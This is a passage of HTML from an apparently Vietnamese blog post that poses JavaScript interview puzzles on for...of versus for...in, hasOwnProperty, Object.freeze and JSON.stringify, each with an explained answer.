punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">let</span> a <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">3</span><span class="token punctuation">,</span> <span class="token number">5</span><span class="token punctuation">,</span> <span class="token number">7</span><span class="token punctuation">]</span><span class="token punctuation">;</span> a<span class="token punctuation">.</span>x <span class="token operator">=</span> <span class="token string">"hello"</span><span class="token punctuation">;</span> Object<span class="token punctuation">.</span><span class="token function">defineProperty</span><span class="token punctuation">(</span>a<span class="token punctuation">,</span> <span class="token string">"y"</span><span class="token punctuation">,</span> <span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> Object<span class="token punctuation">.</span><span class="token function">defineProperty</span><span class="token punctuation">(</span>a<span class="token punctuation">,</span> <span class="token string">"z"</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">enumerable</span><span class="token operator">:</span> <span class="token boolean">true</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> i <span class="token keyword">of</span> a<span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>i<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <p>Hỏi console in ra kết quả như thế nào, tại sao?</p> <div class="wrap-collapsible"> <input id="collapsible1" class="toggle" type="checkbox"> <label for="collapsible1" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <p><strong>Đáp án:</strong></p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// 3</span> <span class="token comment">// 5</span> <span class="token comment">// 7</span></code></pre></div> <p><strong>Giải thích:</strong></p> <p>Trước tiên, mình muốn nhấn mạnh rằng: về bản chất <a href="/array-la-gi-array-trong-javascript/">Array</a> được <a href="/ke-thua-co-ban-trong-javascript/">kế thừa từ prototype</a> của <a href="/object-la-gi-object-trong-javascript/">Object</a>. Đoạn code sau có thể chứng minh điều đó.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> a <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">let</span> p1 <span class="token operator">=</span> Object<span class="token punctuation">.</span><span class="token function">getPrototypeOf</span><span class="token punctuation">(</span>a<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">let</span> p2 <span class="token operator">=</span> Object<span class="token punctuation">.</span><span class="token function">getPrototypeOf</span><span class="token punctuation">(</span>p1<span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>p1 <span class="token operator">===</span> <span class="token class-name">Array</span><span class="token punctuation">.</span>prototype<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>p2 <span class="token operator">===</span> <span class="token class-name">Object</span><span class="token punctuation">.</span>prototype<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => true</span></code></pre></div> <p>Cụ thể, <strong>Object.getPrototypeOf(a)</strong> trả về prototype của a là p1 – Array.prototype. Tiếp theo, <strong>Object.getPrototypeOf(p1)</strong> trả về prototype của p1 là p2 – Object.prototype.</p> <p>Do đó, bạn hoàn toàn có thể thêm thuộc tính cho array giống trên object như các cách sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">a<span class="token punctuation">.</span>x <span class="token operator">=</span> <span class="token string">"hello"</span><span class="token punctuation">;</span> Object<span class="token punctuation">.</span><span class="token function">defineProperty</span><span class="token punctuation">(</span>a<span class="token punctuation">,</span> <span class="token string">"y"</span><span class="token punctuation">,</span> <span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> Object<span class="token punctuation">.</span><span class="token function">defineProperty</span><span class="token punctuation">(</span>a<span class="token punctuation">,</span> <span class="token string">"z"</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">enumerable</span><span class="token operator">:</span> <span class="token boolean">true</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Vì vậy, nếu bạn hiển thị mảng a trên console thì sẽ thấy giá trị của mảng a như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>a<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => [3, 5, 7, x: "hello", z: undefined, y: undefined]</span></code></pre></div> <p>Tuy nhiên, mảng a vẫn có độ dài là 3.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>a<span class="token punctuation">.</span>length<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => 3</span></code></pre></div> <p>Nghĩa là các phần tử của <strong>mảng</strong> a vẫn chỉ là: 3, 5, 7.</p> <p>Đó là lý do dẫn đến kết quả trên.</p> <p><strong>Mở rộng:</strong></p> <p>Thoạt nhìn, bạn có thể thấy rằng <strong>for of</strong> chả khác gì <a href="/javascript-foreach-la-cai-quai-gi/">forEach</a>.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">a<span class="token punctuation">.</span><span class="token function">forEach</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">item</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>item<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">/* * 3 * 5 * 7 */</span></code></pre></div> <p>Nhưng thực tế, <strong>forEach</strong> sẽ khác <strong>for of</strong> ở chỗ là: <strong>for of</strong> cho phép bạn sử dụng <em>break</em>, <em>continue</em> hay <em>return</em>. Ngược lại, với <strong>forEach</strong> thì bạn không thể sử dụng các từ khoá này.</p> <p>Nếu bạn chưa tin thì có thể tự thử nghiệm là sẽ thấy sự khác biệt. Mình chỉ gợi ý vậy thôi nhé!</p> <p>Bây giờ mời bạn chuyển đến câu hỏi số 2.</p> <p><strong>Tham khảo:</strong></p> <ul> <li><a href="https://hacks.mozilla.org/2015/04/es6-in-depth-iterators-and-the-for-of-loop/">ES6 In Depth: Iterators and the for-of loop</a></li> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for...of">for…of</a></li> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/getPrototypeOf">Object.getPrototypeOf()</a></li> </ul> </div> </div> </div> <div class="margin-bottom"></div> <h2 id="xoắn-não-với-phỏng-vấn-javascript-4--câu-2" style="position:relative;"><a href="#xo%E1%BA%AFn-n%C3%A3o-v%E1%BB%9Bi-ph%E1%BB%8Fng-v%E1%BA%A5n-javascript-4--c%C3%A2u-2" aria-label="xoắn não với phỏng vấn javascript 4 câu 2 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Xoắn não với phỏng vấn JavaScript 4 – Câu 2</h2> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token class-name">Object</span><span class="token punctuation">.</span>prototype<span class="token punctuation">.</span><span class="token function-variable function">objCustom</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token class-name">Array</span><span class="token punctuation">.</span>prototype<span class="token punctuation">.</span><span class="token function-variable function">arrCustom</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">let</span> a <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">3</span><span class="token punctuation">,</span> <span class="token number">5</span><span class="token punctuation">,</span> <span class="token number">7</span><span class="token punctuation">]</span><span class="token punctuation">;</span> a<span class="token punctuation">.</span>x <span class="token operator">=</span> <span class="token string">"hello"</span><span class="token punctuation">;</span> Object<span class="token punctuation">.</span><span class="token function">defineProperty</span><span class="token punctuation">(</span>a<span class="token punctuation">,</span> <span class="token string">"y"</span><span class="token punctuation">,</span> <span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> Object<span class="token punctuation">.</span><span class="token function">defineProperty</span><span class="token punctuation">(</span>a<span class="token punctuation">,</span> <span class="token string">"z"</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">enumerable</span><span class="token operator">:</span> <span class="token boolean">true</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> i <span class="token keyword">in</span> a<span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>i<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <p>Hỏi console in ra kết quả như thế nào, tại sao?</p> <div class="wrap-collapsible"> <input id="collapsible2" class="toggle" type="checkbox"> <label for="collapsible2" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <p><strong>Đáp án:</strong></p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// 0</span> <span class="token comment">// 1</span> <span class="token comment">// 2</span> <span class="token comment">// x</span> <span class="token comment">// z</span> <span class="token comment">// arrCustom</span> <span class="token comment">// objCustom</span></code></pre></div> <p><strong>Giải thích:</strong></p> <p>Câu 2 chỉ khác câu 1 ở chỗ là mình sử dụng <strong>for in</strong> thay vì <strong>for of</strong>. Vậy mà kết quả lại khác biệt như vậy, tại sao?</p> <p>Bởi lẽ, <strong>for in</strong> sẽ duyệt hết tất cả các thuộc tính <strong><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Enumerability_and_ownership_of_properties">enumerable</a></strong> của bản thân object và những cái mà nó kế thừa từ prototype.</p> <p>Trong đó:</p> <ul> <li><em>0</em>, <em>1</em>, <em>2</em> lần lượt là chỉ số các phần tử của mảng, đồng thời cũng là các thuộc tính enumerable.</li> <li><em>x</em> là thuộc tính định nghĩa thêm như vậy, nên cũng là enumerable.</li> <li><em>y</em> và <em>z</em> định nghĩa bằng cách sử dụng <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty">Object.defineProperty</a> nên mặc định giá trị của <strong><em>enumerable</em></strong> là <strong><em>false</em></strong> – khi không chỉ rõ. Do đó, <em>y</em> thuộc loại <em>non-enumerable</em> và <em>z</em> là <em>enumerable</em>. Vì vậy, y sẽ không được in ra.</li> <li><em>arrCustom</em> và <em>objCustom</em> là các thuộc tính (phương thức) được định nghĩa thêm ở prototype của Array và Object. Chúng thuộc loại <em>enumerable</em>. Mà theo câu 1, Array có kế thừa prototype của Object, nên cả 2 thuộc tính này đều được in ra.</li> </ul> <p><strong>Tham khảo:</strong></p> <ul> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for...in#Array_iteration_and_for...in">for…in</a></li> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/prototype">Object.prototype</a></li> </ul> </div> </div> </div> <div class="margin-bottom"></div> <h2 id="xoắn-não-với-phỏng-vấn-javascript-4--câu-3" style="position:relative;"><a href="#xo%E1%BA%AFn-n%C3%A3o-v%E1%BB%9Bi-ph%E1%BB%8Fng-v%E1%BA%A5n-javascript-4--c%C3%A2u-3" aria-label="xoắn não với phỏng vấn javascript 4 câu 3 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Xoắn não với phỏng vấn JavaScript 4 – Câu 3</h2> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token class-name">Object</span><span class="token punctuation">.</span>prototype<span class="token punctuation">.</span><span class="token function-variable function">objCustom</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token class-name">Array</span><span class="token punctuation">.</span>prototype<span class="token punctuation">.</span><span class="token function-variable function">arrCustom</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">let</span> a <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">3</span><span class="token punctuation">,</span> <span class="token number">5</span><span class="token punctuation">,</span> <span class="token number">7</span><span class="token punctuation">]</span><span class="token punctuation">;</span> a<span class="token punctuation">.</span>x <span class="token operator">=</span> <span class="token string">"hello"</span><span class="token punctuation">;</span> Object<span class="token punctuation">.</span><span class="token function">defineProperty</span><span class="token punctuation">(</span>a<span class="token punctuation">,</span> <span class="token string">"y"</span><span class="token punctuation">,</span> <span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> Object<span class="token punctuation">.</span><span class="token function">defineProperty</span><span class="token punctuation">(</span>a<span class="token punctuation">,</span> <span class="token string">"z"</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">enumerable</span><span class="token operator">:</span> <span class="token boolean">true</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> i <span class="token keyword">in</span> a<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>a<span class="token punctuation">.</span><span class="token function">hasOwnProperty</span><span class="token punctuation">(</span>i<span class="token punctuation">)</span><span class="token punctuation">)</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>i<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <p>Hỏi console in ra kết quả như thế nào, tại sao?</p> <div class="wrap-collapsible"> <input id="collapsible3" class="toggle" type="checkbox"> <label for="collapsible3" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <p><strong>Đáp án:</strong></p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// 0</span> <span class="token comment">// 1</span> <span class="token comment">// 2</span> <span class="token comment">// x</span> <span class="token comment">// z</span></code></pre></div> <p><strong>Giải thích:</strong></p> <p>Câu 3 khác với câu 2 ở chỗ có sử dụng thêm phương thức <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/hasOwnProperty">Object.prototype.hasOwnProperty()</a>. Phương thức này kiểm tra xem object có chứa một thuộc tính cho trước hay không.</p> <p>Nếu đúng thì kết quả trả về là <strong>true</strong>. Ngược lại, nếu thuộc tính đó không tồn tại, hoặc nó là thuộc tính của prototype, hay nó được kế thừa từ prototype thì kết quả trả về là <strong>false</strong>.</p> <p>Trong khi đó, <em>arrCustom</em> và <em>objCustom</em> lần lượt là thuộc tính của <strong>Array.prototype</strong> và <strong>Object.prototype</strong> nên chúng sẽ không được in ra.</p> </div> </div> </div> <div class="margin-bottom"></div> <h2 id="xoắn-não-với-phỏng-vấn-javascript-4--câu-4" style="position:relative;"><a href="#xo%E1%BA%AFn-n%C3%A3o-v%E1%BB%9Bi-ph%E1%BB%8Fng-v%E1%BA%A5n-javascript-4--c%C3%A2u-4" aria-label="xoắn não với phỏng vấn javascript 4 câu 4 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Xoắn não với phỏng vấn JavaScript 4 – Câu 4</h2> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> obj <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token literal-property property">y</span><span class="token operator">:</span> <span class="token string">"hello"</span><span class="token punctuation">,</span> <span class="token literal-property property">z</span><span class="token operator">:</span> <span class="token punctuation">{</span> <span class="token literal-property property">a</span><span class="token operator">:</span> <span class="token number">1</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token literal-property property">t</span><span class="token operator">:</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> Object<span class="token punctuation">.</span><span class="token function">freeze</span><span class="token punctuation">(</span>obj<span class="token punctuation">)</span><span class="token punctuation">;</span> obj<span class="token punctuation">.</span>x <span class="token operator">=</span> <span class="token number">2</span><span class="token punctuation">;</span> obj<span class="token punctuation">.</span>y <span class="token operator">=</span> <span class="token string">"bye"</span><span class="token punctuation">;</span> obj<span class="token punctuation">.</span>z<span class="token punctuation">.</span>a <span class="token operator">=</span> <span class="token number">2</span><span class="token punctuation">;</span> obj<span class="token punctuation">.</span>t<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token number">3</span><span class="token punctuation">;</span> obj<span class="token punctuation">.</span>t<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token number">4</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>obj<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Hỏi console in ra kết quả như thế nào, tại sao?</p> <div class="wrap-collapsible"> <input id="collapsible4" class="toggle" type="checkbox"> <label for="collapsible4" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <p><strong>Đáp án:</strong></p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// {x: 1, y: "hello", z: {a : 2}, t: [3, 4]}</span></code></pre></div> <p><strong>Giải thích:</strong></p> <p>Trước tiên, bạn thấy rằng giá trị của x và y không đổi. Trong khi đó, giá trị của z và t đã thay đổi.</p> <p>Vậy ý nghĩa của <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/freeze">Object.freeze</a> là gì?</p> <p><strong>Object.freeze</strong> sẽ không cho phép thêm, sửa và xoá thuộc tính. Tuy nhiên, nếu giá trị của thuộc tính là Object thì giá trị đó vẫn có thể thay đổi. Như trong câu hỏi, giá trị của z, t đều là Object (Array), nên giá trị của chúng vẫn thay đổi được.</p> <p>Tuy nhiên, bạn sẽ không thể gán z, t cho Object (Array) mới như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> obj <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token literal-property property">y</span><span class="token operator">:</span> <span class="token string">"hello"</span><span class="token punctuation">,</span> <span class="token literal-property property">z</span><span class="token operator">:</span> <span class="token punctuation">{</span> <span class="token literal-property property">a</span><span class="token operator">:</span> <span class="token number">1</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token literal-property property">t</span><span class="token operator">:</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> Object<span class="token punctuation">.</span><span class="token function">freeze</span><span class="token punctuation">(</span>obj<span class="token punctuation">)</span><span class="token punctuation">;</span> obj<span class="token punctuation">.</span>x <span class="token operator">=</span> <span class="token number">2</span><span class="token punctuation">;</span> obj<span class="token punctuation">.</span>y <span class="token operator">=</span> <span class="token string">"bye"</span><span class="token punctuation">;</span> obj<span class="token punctuation">.</span>z <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">a</span><span class="token operator">:</span> <span class="token number">2</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> obj<span class="token punctuation">.</span>t <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">3</span><span class="token punctuation">,</span> <span class="token number">4</span><span class="token punctuation">]</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>obj<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => {x: 1, y: "hello", z: {a : 1}, t: [1, 2]}</span></code></pre></div> </div> </div> </div> <div class="margin-bottom"></div> <h2 id="xoắn-não-với-phỏng-vấn-javascript-4--câu-5" style="position:relative;"><a href="#xo%E1%BA%AFn-n%C3%A3o-v%E1%BB%9Bi-ph%E1%BB%8Fng-v%E1%BA%A5n-javascript-4--c%C3%A2u-5" aria-label="xoắn não với phỏng vấn javascript 4 câu 5 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Xoắn não với phỏng vấn JavaScript 4 – Câu 5</h2> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> obj <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token literal-property property">y</span><span class="token operator">:</span> <span class="token string">"Hi"</span><span class="token punctuation">,</span> <span class="token function-variable function">z</span><span class="token operator">:</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span>x<span class="token punctuation">,</span> <span class="token keyword">this</span><span class="token punctuation">.</span>y<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">let</span> str <span class="token operator">=</span> <span class="token constant">JSON</span><span class="token punctuation">.</span><span class="token function">stringify</span><span class="token punctuation">(</span>obj<span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>str<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Hỏi console in ra kết quả như thế nào, tại sao?</p> <div class="wrap-collapsible"> <input id="collapsible5" class="toggle" type="checkbox"> <label for="collapsible5" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <p><strong>Đáp án:</strong></p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// {"x":1,"y":"Hi"}</span></code></pre></div> <p><strong>Giải thích:</strong></p> <p>Phương thức <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/stringify">JSON.stringify()</a> sẽ convert mỗi giá trị JavaScript thành dạng <a href="/tim-hieu-ve-json-trong-javascript/">JSON string</a>.</p> <p>Và giá trị JavaScript thường dùng nhất chính là object. Tuy nhiên, nếu giá trị của một thuộc tính là <a href="/ham-la-gi-ham-trong-javascript/">function</a> thì <strong>JSON.stringify</strong> sẽ bỏ qua thuộc tính này.</p> <p>Đó là lý do tại sao bạn không thấy thuộc tính z trong kết quả.</p> </div> </div> </div> <div class="margin-bottom"></div> <h2 id="xoắn-não-với-phỏng-vấn-javascript-4--câu-6" style="position:relative;"><a href="#xo%E1%BA%AFn-n%C3%A3o-v%E1%BB%9Bi-ph%E1%BB%8Fng-v%E1%BA%A5n-javascript-4--c%C3%A2u-6" aria-label="xoắn não với phỏng vấn javascript 4 câu 6 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Xoắn não với phỏng vấn JavaScript 4 – Câu 6</h2> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> a <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">y</span><span class="token operator">:</span> <span class="token number">1</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> a<span class="token punctuation">.</span>x <span class="token operator">=</span> a<span class="token punctuation">;</span> <span class="token keyword">let</span> str <span class="token operator">=</span> <span class="token constant">JSON</span><span class="token punctuation">.</span><span class="token function">stringify</span><span class="token punctuation">(</span>a<span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>str<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Hỏi console in ra kết quả như thế nào, tại sao?</p> <div class="wrap-collapsible"> <input id="collapsible6" class="toggle" type="checkbox"> <label for="collapsible6" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <p><strong>Đáp án:</strong></p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// TypeError: Converting circular structure to JSON</span></code></pre></div> <p><strong>Giải thích:</strong></p> <p>Bạn sẽ nhận được lỗi: <strong>TypeError: Converting circular structure to JSON</strong>. Bởi lẽ, object a ở trên có cấu trúc lặp vô hạn.</p> <p>Xem thêm: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/stringify#Issue_with_JSON.stringify()_when_serializing_circular_references">Issue with JSON.stringify() when serializing circular references</a></p> </div> </div> </div> <div class="margin-bottom"></div> <h2 id="kết-luận" style="position:relative;"><a href="#k%E1%BA%BFt-lu%E1%BA%ADn" aria-label="kết luận permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 